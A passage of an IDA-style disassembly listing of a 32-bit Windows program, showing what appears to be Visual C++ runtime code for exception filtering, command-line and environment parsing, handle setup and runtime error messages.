dword_4694B4, 16h locret_41C63D: ; CODE XREF: sub_41C5D7+5Aj retn sub_41C5D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C63E proc near ; CODE XREF: .nsp0:00417BDBp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push [ebp+arg_0] call sub_41C77F test eax, eax pop ecx jz loc_41C773 mov ebx, [eax+8] test ebx, ebx jz loc_41C773 cmp ebx, 5 jnz short loc_41C66F and dword ptr [eax+8], 0 push 1 pop eax jmp loc_41C77C ; --------------------------------------------------------------------------- loc_41C66F: ; CODE XREF: sub_41C63E+23j cmp ebx, 1 jz loc_41C76E mov ecx, dword_469564 mov [ebp+arg_0], ecx mov ecx, [ebp+arg_4] mov dword_469564, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_41C75E mov ecx, dword_4383E0 mov edx, dword_4383E4 add edx, ecx push esi cmp ecx, edx jge short loc_41C6BE lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:438370h[esi*4] loc_41C6B5: ; CODE XREF: sub_41C63E+7Ej and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_41C6B5 loc_41C6BE: ; CODE XREF: sub_41C63E+69j mov eax, [eax] mov esi, dword_4383EC cmp eax, 0C000008Eh jnz short loc_41C6D9 mov dword_4383EC, 83h jmp short loc_41C749 ; --------------------------------------------------------------------------- loc_41C6D9: ; CODE XREF: sub_41C63E+8Dj cmp eax, 0C0000090h jnz short loc_41C6EC mov dword_4383EC, 81h jmp short loc_41C749 ; --------------------------------------------------------------------------- loc_41C6EC: ; CODE XREF: sub_41C63E+A0j cmp eax, 0C0000091h jnz short loc_41C6FF mov dword_4383EC, 84h jmp short loc_41C749 ; --------------------------------------------------------------------------- loc_41C6FF: ; CODE XREF: sub_41C63E+B3j cmp eax, 0C0000093h jnz short loc_41C712 mov dword_4383EC, 85h jmp short loc_41C749 ; --------------------------------------------------------------------------- loc_41C712: ; CODE XREF: sub_41C63E+C6j cmp eax, 0C000008Dh jnz short loc_41C725 mov dword_4383EC, 82h jmp short loc_41C749 ; --------------------------------------------------------------------------- loc_41C725: ; CODE XREF: sub_41C63E+D9j cmp eax, 0C000008Fh jnz short loc_41C738 mov dword_4383EC, 86h jmp short loc_41C749 ; --------------------------------------------------------------------------- loc_41C738: ; CODE XREF: sub_41C63E+ECj cmp eax, 0C0000092h jnz short loc_41C749 mov dword_4383EC, 8Ah loc_41C749: ; CODE XREF: sub_41C63E+99j ; sub_41C63E+ACj ... push dword_4383EC push 8 call ebx pop ecx mov dword_4383EC, esi pop ecx pop esi jmp short loc_41C766 ; --------------------------------------------------------------------------- loc_41C75E: ; CODE XREF: sub_41C63E+52j and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_41C766: ; CODE XREF: sub_41C63E+11Ej mov eax, [ebp+arg_0] mov dword_469564, eax loc_41C76E: ; CODE XREF: sub_41C63E+34j or eax, 0FFFFFFFFh jmp short loc_41C77C ; --------------------------------------------------------------------------- loc_41C773: ; CODE XREF: sub_41C63E+Fj ; sub_41C63E+1Aj push [ebp+arg_4] call dword_4211A0 loc_41C77C: ; CODE XREF: sub_41C63E+2Cj ; sub_41C63E+133j pop ebx pop ebp retn sub_41C63E endp ; =============== S U B R O U T I N E ======================================= sub_41C77F proc near ; CODE XREF: sub_41C63E+7p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_4383E8 cmp dword_438368, edx push esi mov eax, offset dword_438368 jz short loc_41C7AC lea esi, [ecx+ecx*2] lea esi, ds:438368h[esi*4] loc_41C7A1: ; CODE XREF: sub_41C77F+2Bj add eax, 0Ch cmp eax, esi jnb short loc_41C7AC cmp [eax], edx jnz short loc_41C7A1 loc_41C7AC: ; CODE XREF: sub_41C77F+16j ; sub_41C77F+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:438368h[ecx*4] cmp eax, ecx jnb short loc_41C7BF cmp [eax], edx jz short locret_41C7C1 loc_41C7BF: ; CODE XREF: sub_41C77F+3Aj xor eax, eax locret_41C7C1: ; CODE XREF: sub_41C77F+3Ej retn sub_41C77F endp ; =============== S U B R O U T I N E ======================================= sub_41C7C2 proc near ; CODE XREF: .nsp0:00417B9Dp cmp dword_46AB2C, 0 jnz short loc_41C7D0 call sub_41C384 loc_41C7D0: ; CODE XREF: sub_41C7C2+7j push esi mov esi, dword_46AB24 mov al, [esi] cmp al, 22h jnz short loc_41C802 loc_41C7DD: ; CODE XREF: sub_41C7C2+33j ; sub_41C7C2+36j mov al, [esi+1] inc esi cmp al, 22h jz short loc_41C7FA test al, al jz short loc_41C7FA movzx eax, al push eax call sub_41E6AC test eax, eax pop ecx jz short loc_41C7DD inc esi jmp short loc_41C7DD ; --------------------------------------------------------------------------- loc_41C7FA: ; CODE XREF: sub_41C7C2+21j ; sub_41C7C2+25j cmp byte ptr [esi], 22h jnz short loc_41C80C loc_41C7FF: ; CODE XREF: sub_41C7C2+52j inc esi jmp short loc_41C80C ; --------------------------------------------------------------------------- loc_41C802: ; CODE XREF: sub_41C7C2+19j cmp al, 20h jbe short loc_41C80C loc_41C806: ; CODE XREF: sub_41C7C2+48j inc esi cmp byte ptr [esi], 20h ja short loc_41C806 loc_41C80C: ; CODE XREF: sub_41C7C2+3Bj ; sub_41C7C2+3Ej ... mov al, [esi] test al, al jz short loc_41C816 cmp al, 20h jbe short loc_41C7FF loc_41C816: ; CODE XREF: sub_41C7C2+4Ej mov eax, esi pop esi retn sub_41C7C2 endp ; =============== S U B R O U T I N E ======================================= sub_41C81A proc near ; CODE XREF: .nsp0:00417B86p push ebx xor ebx, ebx cmp dword_46AB2C, ebx push esi push edi jnz short loc_41C82C call sub_41C384 loc_41C82C: ; CODE XREF: sub_41C81A+Bj mov esi, dword_469500 xor edi, edi loc_41C834: ; CODE XREF: sub_41C81A+30j mov al, [esi] cmp al, bl jz short loc_41C84C cmp al, 3Dh jz short loc_41C83F inc edi loc_41C83F: ; CODE XREF: sub_41C81A+22j push esi call sub_415CF0 pop ecx lea esi, [esi+eax+1] jmp short loc_41C834 ; --------------------------------------------------------------------------- loc_41C84C: ; CODE XREF: sub_41C81A+1Ej lea eax, ds:4[edi*4] push eax call sub_415DC9 mov esi, eax pop ecx cmp esi, ebx mov dword_4694DC, esi jnz short loc_41C86E push 9 call sub_417BEE pop ecx loc_41C86E: ; CODE XREF: sub_41C81A+4Aj mov edi, dword_469500 cmp [edi], bl jz short loc_41C8B1 push ebp loc_41C879: ; CODE XREF: sub_41C81A+94j push edi call sub_415CF0 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_41C8AA push ebp call sub_415DC9 cmp eax, ebx pop ecx mov [esi], eax jnz short loc_41C89D push 9 call sub_417BEE pop ecx loc_41C89D: ; CODE XREF: sub_41C81A+79j push edi push dword ptr [esi] call sub_415C00 pop ecx add esi, 4 pop ecx loc_41C8AA: ; CODE XREF: sub_41C81A+6Cj add edi, ebp cmp [edi], bl jnz short loc_41C879 pop ebp loc_41C8B1: ; CODE XREF: sub_41C81A+5Cj push dword_469500 call sub_415E3D pop ecx mov dword_469500, ebx mov [esi], ebx pop edi pop esi mov dword_46AB28, 1 pop ebx retn sub_41C81A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C8D3 proc near ; CODE XREF: .nsp0:00417B81p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_46AB2C, ebx push esi push edi jnz short loc_41C8EA call sub_41C384 loc_41C8EA: ; CODE XREF: sub_41C8D3+10j mov esi, offset dword_469568 push 104h push esi push ebx call dword_42107C mov eax, dword_46AB24 mov dword_4694EC, esi mov edi, esi cmp [eax], bl jz short loc_41C90F mov edi, eax loc_41C90F: ; CODE XREF: sub_41C8D3+38j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push ebx push ebx push edi call sub_41C96C mov eax, [ebp+var_8] mov ecx, [ebp+var_4] lea eax, [eax+ecx*4] push eax call sub_415DC9 mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_41C93F push 8 call sub_417BEE pop ecx loc_41C93F: ; CODE XREF: sub_41C8D3+62j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax mov eax, [ebp+var_4] lea eax, [esi+eax*4] push eax push esi push edi call sub_41C96C mov eax, [ebp+var_4] add esp, 14h dec eax mov dword_4694D4, esi pop edi pop esi mov dword_4694D0, eax pop ebx leave retn sub_41C8D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C96C proc near ; CODE XREF: sub_41C8D3+47p ; sub_41C8D3+7Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_41C996 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_41C996: ; CODE XREF: sub_41C96C+20j cmp byte ptr [eax], 22h jnz short loc_41C9DF loc_41C99B: ; CODE XREF: sub_41C96C+58j ; sub_41C96C+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_41C9CD test dl, dl jz short loc_41C9CD movzx edx, dl test byte_46AA01[edx], 4 jz short loc_41C9C0 inc dword ptr [ecx] test esi, esi jz short loc_41C9C0 mov dl, [eax] mov [esi], dl inc esi inc eax loc_41C9C0: ; CODE XREF: sub_41C96C+46j ; sub_41C96C+4Cj inc dword ptr [ecx] test esi, esi jz short loc_41C99B mov dl, [eax] mov [esi], dl inc esi jmp short loc_41C99B ; --------------------------------------------------------------------------- loc_41C9CD: ; CODE XREF: sub_41C96C+36j ; sub_41C96C+3Aj inc dword ptr [ecx] test esi, esi jz short loc_41C9D7 and byte ptr [esi], 0 inc esi loc_41C9D7: ; CODE XREF: sub_41C96C+65j cmp byte ptr [eax], 22h jnz short loc_41CA22 inc eax jmp short loc_41CA22 ; --------------------------------------------------------------------------- loc_41C9DF: ; CODE XREF: sub_41C96C+2Dj ; sub_41C96C+A5j inc dword ptr [ecx] test esi, esi jz short loc_41C9EA mov dl, [eax] mov [esi], dl inc esi loc_41C9EA: ; CODE XREF: sub_41C96C+77j mov dl, [eax] inc eax movzx ebx, dl test byte_46AA01[ebx], 4 jz short loc_41CA05 inc dword ptr [ecx] test esi, esi jz short loc_41CA04 mov bl, [eax] mov [esi], bl inc esi loc_41CA04: ; CODE XREF: sub_41C96C+91j inc eax loc_41CA05: ; CODE XREF: sub_41C96C+8Bj cmp dl, 20h jz short loc_41CA13 test dl, dl jz short loc_41CA17 cmp dl, 9 jnz short loc_41C9DF loc_41CA13: ; CODE XREF: sub_41C96C+9Cj test dl, dl jnz short loc_41CA1A loc_41CA17: ; CODE XREF: sub_41C96C+A0j dec eax jmp short loc_41CA22 ; --------------------------------------------------------------------------- loc_41CA1A: ; CODE XREF: sub_41C96C+A9j test esi, esi jz short loc_41CA22 and byte ptr [esi-1], 0 loc_41CA22: ; CODE XREF: sub_41C96C+6Ej ; sub_41C96C+71j ... and [ebp+arg_10], 0 loc_41CA26: ; CODE XREF: sub_41C96C+19Ej cmp byte ptr [eax], 0 jz loc_41CB0F loc_41CA2F: ; CODE XREF: sub_41C96C+D0j mov dl, [eax] cmp dl, 20h jz short loc_41CA3B cmp dl, 9 jnz short loc_41CA3E loc_41CA3B: ; CODE XREF: sub_41C96C+C8j inc eax jmp short loc_41CA2F ; --------------------------------------------------------------------------- loc_41CA3E: ; CODE XREF: sub_41C96C+CDj cmp byte ptr [eax], 0 jz loc_41CB0F test edi, edi jz short loc_41CA53 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_41CA53: ; CODE XREF: sub_41C96C+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_41CA58: ; CODE XREF: sub_41C96C+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_41CA61: ; CODE XREF: sub_41C96C+FCj cmp byte ptr [eax], 5Ch jnz short loc_41CA6A inc eax inc ebx jmp short loc_41CA61 ; --------------------------------------------------------------------------- loc_41CA6A: ; CODE XREF: sub_41C96C+F8j cmp byte ptr [eax], 22h jnz short loc_41CA9B test bl, 1 jnz short loc_41CA99 xor edi, edi cmp [ebp+arg_10], edi jz short loc_41CA88 cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_41CA88 mov eax, edx jmp short loc_41CA8B ; --------------------------------------------------------------------------- loc_41CA88: ; CODE XREF: sub_41C96C+10Dj ; sub_41C96C+116j mov [ebp+arg_0], edi loc_41CA8B: ; CODE XREF: sub_41C96C+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_41CA99: ; CODE XREF: sub_41C96C+106j shr ebx, 1 loc_41CA9B: ; CODE XREF: sub_41C96C+101j mov edx, ebx dec ebx test edx, edx jz short loc_41CAB0 inc ebx loc_41CAA3: ; CODE XREF: sub_41C96C+142j test esi, esi jz short loc_41CAAB mov byte ptr [esi], 5Ch inc esi loc_41CAAB: ; CODE XREF: sub_41C96C+139j inc dword ptr [ecx] dec ebx jnz short loc_41CAA3 loc_41CAB0: ; CODE XREF: sub_41C96C+134j mov dl, [eax] test dl, dl jz short loc_41CB00 cmp [ebp+arg_10], 0 jnz short loc_41CAC6 cmp dl, 20h jz short loc_41CB00 cmp dl, 9 jz short loc_41CB00 loc_41CAC6: ; CODE XREF: sub_41C96C+14Ej cmp [ebp+arg_0], 0 jz short loc_41CAFA test esi, esi jz short loc_41CAE9 movzx ebx, dl test byte_46AA01[ebx], 4 jz short loc_41CAE2 mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_41CAE2: ; CODE XREF: sub_41C96C+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_41CAF8 ; --------------------------------------------------------------------------- loc_41CAE9: ; CODE XREF: sub_41C96C+162j movzx edx, dl test byte_46AA01[edx], 4 jz short loc_41CAF8 inc eax inc dword ptr [ecx] loc_41CAF8: ; CODE XREF: sub_41C96C+17Bj ; sub_41C96C+187j inc dword ptr [ecx] loc_41CAFA: ; CODE XREF: sub_41C96C+15Ej inc eax jmp loc_41CA58 ; --------------------------------------------------------------------------- loc_41CB00: ; CODE XREF: sub_41C96C+148j ; sub_41C96C+153j ... test esi, esi jz short loc_41CB08 and byte ptr [esi], 0 inc esi loc_41CB08: ; CODE XREF: sub_41C96C+196j inc dword ptr [ecx] jmp loc_41CA26 ; --------------------------------------------------------------------------- loc_41CB0F: ; CODE XREF: sub_41C96C+BDj ; sub_41C96C+D5j test edi, edi jz short loc_41CB16 and dword ptr [edi], 0 loc_41CB16: ; CODE XREF: sub_41C96C+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_41C96C endp ; =============== S U B R O U T I N E ======================================= sub_41CB20 proc near ; CODE XREF: .nsp0:00417B77p var_8 = dword ptr -8 var_4 = dword ptr -4 push ecx push ecx mov eax, dword_46966C push ebx push ebp mov ebp, dword_42103C push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_41CB6E call ebp mov esi, eax cmp esi, ebx jz short loc_41CB4F mov dword_46966C, 1 jmp short loc_41CB77 ; --------------------------------------------------------------------------- loc_41CB4F: ; CODE XREF: sub_41CB20+21j call dword_421040 mov edi, eax cmp edi, ebx jz loc_41CC49 mov dword_46966C, 2 jmp loc_41CBFD ; --------------------------------------------------------------------------- loc_41CB6E: ; CODE XREF: sub_41CB20+19j cmp eax, 1 jnz loc_41CBF8 loc_41CB77: ; CODE XREF: sub_41CB20+2Dj cmp esi, ebx jnz short loc_41CB87 call ebp mov esi, eax cmp esi, ebx jz loc_41CC49 loc_41CB87: ; CODE XREF: sub_41CB20+59j cmp [esi], bx mov eax, esi jz short loc_41CB9C loc_41CB8E: ; CODE XREF: sub_41CB20+73j ; sub_41CB20+7Aj inc eax inc eax cmp [eax], bx jnz short loc_41CB8E inc eax inc eax cmp [eax], bx jnz short loc_41CB8E loc_41CB9C: ; CODE XREF: sub_41CB20+6Cj sub eax, esi mov edi, dword_421138 sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+38h+var_4], eax call edi mov ebp, eax cmp ebp, ebx jz short loc_41CBED push ebp call sub_415DC9 cmp eax, ebx pop ecx mov [esp+18h+var_8], eax jz short loc_41CBED push ebx push ebx push ebp push eax push [esp+28h+var_4] push esi push ebx push ebx call edi test eax, eax jnz short loc_41CBE9 push [esp+18h+var_8] call sub_415E3D pop ecx mov [esp+18h+var_8], ebx loc_41CBE9: ; CODE XREF: sub_41CB20+B9j mov ebx, [esp+18h+var_8] loc_41CBED: ; CODE XREF: sub_41CB20+99j ; sub_41CB20+A8j push esi call dword_421044 mov eax, ebx jmp short loc_41CC4B ; --------------------------------------------------------------------------- loc_41CBF8: ; CODE XREF: sub_41CB20+51j cmp eax, 2 jnz short loc_41CC49 loc_41CBFD: ; CODE XREF: sub_41CB20+49j cmp edi, ebx jnz short loc_41CC0D call dword_421040 mov edi, eax cmp edi, ebx jz short loc_41CC49 loc_41CC0D: ; CODE XREF: sub_41CB20+DFj cmp [edi], bl mov eax, edi jz short loc_41CC1D loc_41CC13: ; CODE XREF: sub_41CB20+F6j ; sub_41CB20+FBj inc eax cmp [eax], bl jnz short loc_41CC13 inc eax cmp [eax], bl jnz short loc_41CC13 loc_41CC1D: ; CODE XREF: sub_41CB20+F1j sub eax, edi inc eax mov ebp, eax push ebp call sub_415DC9 mov esi, eax pop ecx cmp esi, ebx jnz short loc_41CC33 xor esi, esi jmp short loc_41CC3E ; --------------------------------------------------------------------------- loc_41CC33: ; CODE XREF: sub_41CB20+10Dj push ebp push edi push esi call sub_4155D0 add esp, 0Ch loc_41CC3E: ; CODE XREF: sub_41CB20+111j push edi call dword_4211A4 mov eax, esi jmp short loc_41CC4B ; --------------------------------------------------------------------------- loc_41CC49: ; CODE XREF: sub_41CB20+39j ; sub_41CB20+61j ... xor eax, eax loc_41CC4B: ; CODE XREF: sub_41CB20+D6j ; sub_41CB20+127j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn sub_41CB20 endp ; =============== S U B R O U T I N E ======================================= sub_41CC52 proc near ; CODE XREF: .nsp0:00417B67p var_44 = byte ptr -44h var_14 = dword ptr -14h var_10 = dword ptr -10h sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_415DC9 mov esi, eax pop ecx test esi, esi jnz short loc_41CC72 push 1Bh call sub_417BEE pop ecx loc_41CC72: ; CODE XREF: sub_41CC52+16j mov dword_46A7E0, esi mov dword_46A8E0, 20h lea eax, [esi+100h] loc_41CC88: ; CODE XREF: sub_41CC52+52j cmp esi, eax jnb short loc_41CCA6 and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_46A7E0 add esi, 8 add eax, 100h jmp short loc_41CC88 ; --------------------------------------------------------------------------- loc_41CCA6: ; CODE XREF: sub_41CC52+38j lea eax, [esp+54h+var_44] push eax call dword_421164 cmp word ptr [esp+54h+var_14+2], 0 jz loc_41CD82 mov eax, [esp+54h+var_10] test eax, eax jz loc_41CD82 mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_41CCDC mov esi, eax loc_41CCDC: ; CODE XREF: sub_41CC52+86j cmp dword_46A8E0, esi jge short loc_41CD36 mov edi, offset dword_46A7E4 loc_41CCE9: ; CODE XREF: sub_41CC52+DAj push 100h call sub_415DC9 test eax, eax pop ecx jz short loc_41CD30 add dword_46A8E0, 20h mov [edi], eax lea ecx, [eax+100h] loc_41CD07: ; CODE XREF: sub_41CC52+CFj cmp eax, ecx jnb short loc_41CD23 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_41CD07 ; --------------------------------------------------------------------------- loc_41CD23: ; CODE XREF: sub_41CC52+B7j add edi, 4 cmp dword_46A8E0, esi jl short loc_41CCE9 jmp short loc_41CD36 ; --------------------------------------------------------------------------- loc_41CD30: ; CODE XREF: sub_41CC52+A4j mov esi, dword_46A8E0 loc_41CD36: ; CODE XREF: sub_41CC52+90j ; sub_41CC52+DCj xor edi, edi test esi, esi jle short loc_41CD82 loc_41CD3C: ; CODE XREF: sub_41CC52+12Ej mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_41CD79 mov cl, [ebp+0] test cl, 1 jz short loc_41CD79 test cl, 8 jnz short loc_41CD5B push eax call dword_421030 test eax, eax jz short loc_41CD79 loc_41CD5B: ; CODE XREF: sub_41CC52+FCj mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_46A7E0[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_41CD79: ; CODE XREF: sub_41CC52+EFj ; sub_41CC52+F7j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_41CD3C loc_41CD82: ; CODE XREF: sub_41CC52+65j ; sub_41CC52+71j ... xor ebx, ebx loc_41CD84: ; CODE XREF: sub_41CC52+195j mov eax, dword_46A7E0 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_41CDDF test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_41CD9F push 0FFFFFFF6h pop eax jmp short loc_41CDA9 ; --------------------------------------------------------------------------- loc_41CD9F: ; CODE XREF: sub_41CC52+146j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_41CDA9: ; CODE XREF: sub_41CC52+14Bj push eax call dword_421034 mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_41CDCE push edi call dword_421030 test eax, eax jz short loc_41CDCE and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_41CDD4 loc_41CDCE: ; CODE XREF: sub_41CC52+163j ; sub_41CC52+16Ej or byte ptr [esi+4], 40h jmp short loc_41CDE3 ; --------------------------------------------------------------------------- loc_41CDD4: ; CODE XREF: sub_41CC52+17Aj cmp eax, 3 jnz short loc_41CDE3 or byte ptr [esi+4], 8 jmp short loc_41CDE3 ; --------------------------------------------------------------------------- loc_41CDDF: ; CODE XREF: sub_41CC52+13Ej or byte ptr [esi+4], 80h loc_41CDE3: ; CODE XREF: sub_41CC52+180j ; sub_41CC52+185j ... inc ebx cmp ebx, 3 jl short loc_41CD84 push dword_46A8E0 call dword_421038 pop edi pop esi pop ebp pop ebx add esp, 44h retn sub_41CC52 endp ; --------------------------------------------------------------------------- align 10h push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CE08 proc near ; DATA XREF: .nsp0:00417B02o ; sub_41A69A+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_41CEA8 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_41CE3B: ; CODE XREF: sub_41CE08+90j cmp esi, 0FFFFFFFFh jz short loc_41CEA1 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_41CE8F push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_41CE8F js short loc_41CE9A mov edi, [ebx+8] push ebx call sub_416368 add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_4163AA add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_41643E mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_41CE8F: ; CODE XREF: sub_41CE08+40j ; sub_41CE08+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_41CE3B ; --------------------------------------------------------------------------- loc_41CE9A: ; CODE XREF: sub_41CE08+54j mov eax, 0 jmp short loc_41CEBD ; --------------------------------------------------------------------------- loc_41CEA1: ; CODE XREF: sub_41CE08+36j mov eax, 1 jmp short loc_41CEBD ; --------------------------------------------------------------------------- loc_41CEA8: ; CODE XREF: sub_41CE08+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_4163AA add esp, 8 pop ebp mov eax, 1 loc_41CEBD: ; CODE XREF: sub_41CE08+97j ; sub_41CE08+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41CE08 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_4163AA add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_41CEE0 proc near ; CODE XREF: sub_417BEE+9p ; sub_417C13+9p mov eax, dword_469508 cmp eax, 1 jz short loc_41CEF7 test eax, eax jnz short locret_41CF18 cmp dword_437D84, 1 jnz short locret_41CF18 loc_41CEF7: ; CODE XREF: sub_41CEE0+8j push 0FCh call sub_41CF19 mov eax, dword_469670 pop ecx test eax, eax jz short loc_41CF0D call eax loc_41CF0D: ; CODE XREF: sub_41CEE0+29j push 0FFh call sub_41CF19 pop ecx locret_41CF18: ; CODE XREF: sub_41CEE0+Cj ; sub_41CEE0+15j retn sub_41CEE0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CF19 proc near ; CODE XREF: sub_417BEE+12p ; sub_417C13+12p ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_4383F8 loc_41CF2C: ; CODE XREF: sub_41CF19+20j cmp edx, [eax] jz short loc_41CF3B add eax, 8 inc ecx cmp eax, offset off_438488 jl short loc_41CF2C loc_41CF3B: ; CODE XREF: sub_41CF19+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_4383F8[esi] jnz loc_41D069 mov eax, dword_469508 cmp eax, 1 jz loc_41D043 test eax, eax jnz short loc_41CF6C cmp dword_437D84, 1 jz loc_41D043 loc_41CF6C: ; CODE XREF: sub_41CF19+44j cmp edx, 0FCh jz loc_41D069 lea eax, [ebp+var_1A4] push 104h push eax push 0 call dword_42107C test eax, eax jnz short loc_41CFA3 lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_415C00 pop ecx pop ecx loc_41CFA3: ; CODE XREF: sub_41CF19+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_415CF0 inc eax pop ecx cmp eax, 3Ch jbe short loc_41CFE6 lea eax, [ebp+var_1A4] push eax call sub_415CF0 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_416D40 add esp, 10h loc_41CFE6: ; CODE XREF: sub_41CF19+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_415C00 lea eax, [ebp+var_A0] push edi push eax call sub_415C10 lea eax, [ebp+var_A0] push offset asc_421B40 ; "\n\n" push eax call sub_415C10 push off_4383FC[esi] lea eax, [ebp+var_A0] push eax call sub_415C10 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_41E6EE add esp, 2Ch pop edi jmp short loc_41D069 ; --------------------------------------------------------------------------- loc_41D043: ; CODE XREF: sub_41CF19+3Cj ; sub_41CF19+4Dj lea eax, [ebp+arg_0] lea esi, off_4383FC[esi] push 0 push eax push dword ptr [esi] call sub_415CF0 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h call dword_421034 push eax call dword_421070 loc_41D069: ; CODE XREF: sub_41CF19+2Ej ; sub_41CF19+59j ... pop esi leave retn sub_41CF19 endp ; =============== S U B R O U T I N E ======================================= sub_41D06C proc near ; CODE XREF: sub_417C37+6Cp ; sub_41B8B0+32p ... arg_0 = dword ptr 4 inc dword_469674 push 1000h call sub_415DC9 pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_41D095 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_41D0A6 ; --------------------------------------------------------------------------- loc_41D095: ; CODE XREF: sub_41D06C+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_41D0A6: ; CODE XREF: sub_41D06C+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_41D06C endp ; =============== S U B R O U T I N E ======================================= sub_41D0B0 proc near ; CODE XREF: sub_417C37+61p ; sub_4187B6+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_46A8E0 jb short loc_41D0BF xor eax, eax retn ; --------------------------------------------------------------------------- loc_41D0BF: ; CODE XREF: sub_41D0B0+Aj mov 